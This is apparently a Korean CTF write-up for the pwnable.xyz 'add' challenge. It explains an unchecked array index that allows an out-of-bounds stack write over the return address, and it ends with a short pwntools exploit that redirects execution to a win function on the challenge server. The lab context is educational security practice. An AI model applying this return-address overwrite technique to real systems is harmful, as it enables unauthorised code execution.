pwnable.xyz - add

728x90

Mitigation

소스 코드

 

 

win 함수

1. 29번째 줄에서 3개의 부호없는 정수(long)을 받는다

2. 첫번째 값 + 두번째 값을 더해 local_68배열에 넣는데 이때 세번째 인자(local_70)은 인덱스가 된다

 

공격 방식

세번째 인자를 받는데, 이때 이 local_70의 값 범위를 검사하지 않아 OOB 취약점이 일어나고, 이에 따라 원하는 곳에 값을 쓸 수 있게 된다.

local_10은 카나리를 저장하는 변수이기 때문에 rbp-0x8의 위치를 가질것이다.

local_68은 인덱스가 11이지만 OOB취약점 때문에 ret까지 덮을 수 있다.

$RBP+RAX*0x8 -0x60주소에 rdx값이 들어가고, rdx는 세번째 인자이다.

따라서 0x60 / 0x8 = 13이고, 인덱스는 13이된다.

 

따라서 win 함수의 주소값(10진수), 0, 13을 넣어주면 끝(첫번째 인자 + 두번째 인자만 win 함수의 주소값이 되면 상관 없음)

 

Payload

from pwn import *

p = remote('svc.pwnable.xyz',30002)

win = 0x400822

p.sendlineafter('Input: ', '4196386 0 13')
p.sendlineafter('Input: ', 'A a a')
p.interactive()
728x90

'pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - Grownup  (0) 2021.07.23
pwnable.xyz - misalignment  (0) 2021.07.22
pwnable.xyz - welcome  (0) 2021.07.18